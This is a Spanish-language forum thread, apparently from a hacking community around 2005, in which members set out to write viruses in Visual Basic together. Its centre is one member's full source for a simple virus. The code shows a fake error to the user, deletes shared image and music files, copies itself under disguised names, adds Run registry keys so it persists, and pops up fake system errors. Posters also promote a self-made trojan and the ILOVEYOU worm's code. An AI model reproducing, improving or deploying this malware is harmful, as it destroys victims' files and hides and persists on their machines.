Preguntaselo al moderador del foro de visual basic seguro que está dispuesto a ayudar 
Yo por mi parte no puedo ayudar mucho a no ser que quieras poner tu el código 
No se cuantos de esté foro sabrán hacer virus en vb pero yo me descarto, me quedo con mis queridos gusanos y troyanos que son mas faciles de hacer 8)

Gorky, pon los code o algo interesante me gustaría verlo un poco.

LES AGRADEZCO A TODOS POR RESPONDER. EN POCO TIEMPO VOY A PONER EL CODIGO DE ALGUNOS VIRUS EN VB PARA QUE TODOS LO ANALICEMOS Y LO MEJOREMOS SI ALGUIEN QUIERE PONER ALGUN CODIGO POR FAVOR QUE LO PONGA ASI COMO TAMBIEN PONGA SI TIENE ALGUNA DUDA. O SINO PUEDEN ESCRIBIRME UN EMAIL PERO ME GUSTARIA QUE TAMBIEN POSTEEN.

DESDE YA MUCHAS GRACIAS A TODOS!!!!!!

reydelmundo mirate los codigos de i love you y algunos mas que estan escritos en vb y le hechas un vistazo...si es eso lo que quieres.

Creo que primero de todo deberiais de decidir la funcion que va a tener...una vez que se tenga, a programar 

Buenas, he decidido poner aqui el codigo de un virus que hize de ejemplo, para que todas aquellas personas que no sepan o tengan dudas puedan entender mas facilmente como va todo esto. El virus casi no se le puede llamar virus porque és muy muy sencillo, pero almenos las características mínimamente las cumple para ser virus.

---

'Programado por Srg. Skapunky, 2005
' Virus wingle v1.0
'El virus esta diseñado con fines educativos, el autor no se hace responsable del uso que
'se le de.
'Nota: Este virus solamente funcionara en equipos que tengan windows xp o las librerias basicas del visual basic.

'--------------------------------------------------------------------------------------------------------------
'Crea una carpeta en windows system 32

Sub Crearcarpeta()
Dim n
On Error Resume Next
Do
Set n = CreateObject("Scripting FilesystemObject")
n.createFolder "C:\WINDOWS\system32\init"
Loop
End Sub

'Se copia renombrandose como crash.exe y cloud.exe

Sub copia()
Dim xxx, yy
On Error Resume Next

Set xxx = CreateObject("Scripting FilesystemObject")
xxx.copyfile ".\wingle.exe", "c:\windows\crash.exe"

Set yy = CreateObject("Scripting FilesystemObject")
yy.copyfile ".\wingle.exe", "C:\WINDOWS\system32\init\cloud.exe"

End Sub

' borra todos los archivos de musica y imagenes de la carpeta de archivos compartidos entre usuarios
Sub matar()
On Error Resume Next
Kill ("C:\Documents and Settings\All Users\Documentos\Mis imágenes\*.jpeg")
Kill ("C:\Documents and Settings\All Users\Documentos\Mi música\*.wav")
Kill ("C:\Documents and Settings\All Users\Documentos\Mi música\*.mp3")
End Sub

' Pequeño archivo de texto con una frase escrita de recuerdo jejeje.
Sub recuerdo()
Dim nota, aux
On Error Resume Next
Set nota = CreateObject("Scripting.FilesystemObject")
Set aux = nota.CreateTextFile("c:\wingear.txt")
nota.write " El viento no apagara la llama que brilla por encima de nosotros... -Srg. Skapunky-"
nota.Close
End Sub

'Esto son ventanas que aparecen cada ciertos dias al mes con mensajes de errores

Sub payload()
On Error Resume Next
If Day(Now()) = 4 Then MsgBox "No se encuentra el archivo wringle[1].chm", 16, "Error system"
If Day(Now()) = 5 Then MsgBox "No se encuentra el archivo wringle[2].chm", 16, "Error system"
If Day(Now()) = 9 Then MsgBox "No se encuentran conexiones activas", 16, "Error system"
If Day(Now()) = 15 Then MsgBox "Reinicie el ordenador. Se ha detectado un error grave.", 16, "Error system"
If Day(Now()) = 22 Then MsgBox "No se encuentra el archivo hthj.dll requerido ", 16, "Error system"
End Sub

'Con esto creamos las llaves en el registro para que se ejecuten en cada inicio crash.exe y cloud.exe

Sub reg()
Dim coca, cola
On Error Resume Next

Set coca = CreateObject("WScript.Shell")
coca.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "c:\windows\crash.exe"

Set cola = CreateObject("WScript.Shell")
cola.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "c:\WINDOWS\system32\init\cloud.exe"

End Sub

Private Sub Form_Load()

MsgBox "No se encuentra la libreria msnrg60.dll requerida", " Error de ejecución"

Crearcarpeta
matar
copia
recuerdo
payload
reg
End Sub

---

Espero que sigan con el proyecto y aporten codigos. Aproxecho para dejar aqui la dirección de mi pagina para que puedan ver sim programas y si quieren probar el troyano netcly hecho por mi.

www.ciberia.ya.com/skapunky

skapunky

He dicho el i love you porque me parecio que estaba en vb.....porque no pones tu un jodido codigo en vez de criticar tantos y darnos clases de lo que es un virus o un gusano?

Mmmmmmm.......
Bueno, mas alla que mi imaginacion es nula para aportar ideas innovadoras al proyecto, me parece una buena iniciativa el taller para practicar un poco VB...
Para la parte de programacion me uno al proyecto, y si se me ocurre alguna idea (raro en mi...) posteo el codigo.
Saludos